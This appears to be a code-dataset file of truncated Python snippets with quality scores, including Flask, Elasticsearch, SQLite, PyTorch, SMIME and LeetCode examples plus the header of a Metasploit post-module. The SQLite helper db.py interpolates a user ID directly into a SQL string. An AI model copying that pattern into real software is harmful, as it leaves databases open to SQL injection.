plt.rc('xtick', labelsize=15) # fontsize of th... | 2.375 | 2 |
plateypus/models.py | Geologik/plateypus-backend | 0 | 50087 | <reponame>Geologik/plateypus-backend
"""ODM model definitions."""
from elasticsearch_dsl import Date, Document, Keyword, Text
try: # pragma: no cover
from helpers import elastic
except (ImportError, ModuleNotFoundError): # pragma: no cover
from plateypus.helpers import elastic
INDEX_METADATA = "plateypus-... | 2.3125 | 2 |
webapp.py | prochor666/ctrl | 0 | 50088 | from core.config import app_config
import json
import datetime
import logging
import os
from flask import Flask, render_template, Response, request, send_from_directory
from core import compat, app, utils
from core.ctrl import api, auth
compat.check_version()
webapp = Flask(__name__)
app.mode = 'http'
@webapp.route(... | 2.28125 | 2 |
chatbot/ichatbot.py | squahtx/hal9000 | 0 | 50089 | <gh_stars>0
from base import abstract
class IChatBot(object):
# Events
@property
def messageReceived(self): pass
# Chat Bot
@property
@abstract
def running(self): pass
@property
@abstract
def commandSystem(self): pass
@abstract
def run(self): pass
# Plugins
@abstract
def addPlugin(self, plugin):... | 2.078125 | 2 |
db.py | Athomisos/APEX_DISCORD | 3 | 50090 | <gh_stars>1-10
import sqlite3, asyncio
PATH_TO_DB = 'data/sql/bot.db'
def is_player_register(id_user):
"""
Simple check if the player is already register or not
"""
query = (f"SELECT * FROM player WHERE id_discord=\"{id_user}\";")
if(len(fetchall_query(query)) == 0):
return True
r... | 3.234375 | 3 |
tests/score.py | wesstirk/openstartracker | 2 | 50091 | <reponame>wesstirk/openstartracker
from __future__ import print_function
import sys
stars=open("hip_main.dat","r").readlines()
result=open(sys.argv[1],"r").readlines()
result_real=open(sys.argv[2],"r").readlines()
assert len(result)==len(result_real)
stardict={}
for i in range(0,len(stars)):
stardict[int(stars[i].spl... | 2.71875 | 3 |
doku/models/variable.py | desklab/doku | 6 | 50092 | <reponame>desklab/doku<filename>doku/models/variable.py
from datetime import datetime
from typing import List
from sqlalchemy import event, update, func
from doku.models import db, DateMixin
from doku.models.document import Document
from doku.utils.markdown import compile_content
class Variable(db.Model, DateMixin)... | 2.578125 | 3 |
smime/getEncrypted.py | resteasy/examples | 0 | 50093 | <reponame>resteasy/examples
import http.client, urllib.parse
from M2Crypto import BIO, SMIME, X509
conn = http.client.HTTPConnection("localhost:9095")
conn.request("GET", "/smime/encrypted")
res = conn.getresponse()
if res.status != 200:
print((res.status))
raise Exception("Failed to connect")
contentType = res... | 2.546875 | 3 |
dcorm/ordering.py | homeinfogmbh/dcorm | 2 | 50094 | <filename>dcorm/ordering.py
"""Ordering type definition."""
from enum import Enum
from dcorm.literal import Literal
__all__ = ['Ordering']
class Ordering(Enum):
"""Available orderings."""
ASC = Literal('ASC', space_left=True)
DESC = Literal('DESC', space_left=True)
| 3.25 | 3 |
pyGAT/profiler_mem.py | nfrumkin/GNN_Workload_Characterization | 0 | 50095 | from __future__ import division
from __future__ import print_function
import os
import glob
import time
import random
import argparse
import numpy as np
import torch
import torchvision.models as models
import torch.autograd.profiler as profiler
import torch.nn as nn
import torch.nn.functional as F
import torch.optim a... | 2.109375 | 2 |
Bonsucesso/Semana 04/Exemplo020/main.py | profoswaldo/Unisuam_2022-1 | 2 | 50096 | # Desenvolva um algoritmo que receba um valor inteiro e que exiba os números de 0 até ele.
# OBS: Obrigatório o uso do while
valor_digitado = int(input("Digite um valor maior que 0: "))
numero = 0
while numero <= valor_digitado:
print(numero)
numero = numero + 1
print("Valor final do numero: " + str(numero))... | 4.15625 | 4 |
STATICFILES/MODULES_DEBUG/PostRewMsfExample.py | evi1hack/viperpython | 42 | 50097 | <reponame>evi1hack/viperpython
# -*- coding: utf-8 -*-
# @File : SimpleRewMsfModule.py
# @Date : 2019/1/11
# @Desc :
#
#
from PostModule.lib.Configs import *
from PostModule.lib.ModuleTemplate import TAG2CH, PostMSFRawModule
from PostModule.lib.OptionAndResult import Option, register_options
# from PostModule.li... | 2.015625 | 2 |
analysis_tools/PYTHON_RICARDO/rpl/tools/geometry/load_ascii_stl.py | lefevre-fraser/openmeta-mms | 0 | 50098 | import numpy as np
import logging
import random
def open_stl(filename):
count = 0
with open(filename) as f:
for line in f:
count += 1
logging.info("number of lines {}".format(count))
tri_count = (count - 2) / 7
logging.info("number of triangles {}".format(tri_count)... | 2.609375 | 3 |
LeetCode/Problems/15. 3Sum.py | nikku1234/Code-Practise | 9 | 50099 | <filename>LeetCode/Problems/15. 3Sum.py
class Solution(object):
def threeSum(self, nums):
"""
:type nums: List[int]
:rtype: List[List[int]]
"""
nums.sort()
res = []
for i,a in enumerate(nums):
# If same as the previous value just continue, alread... | 3.375 | 3 |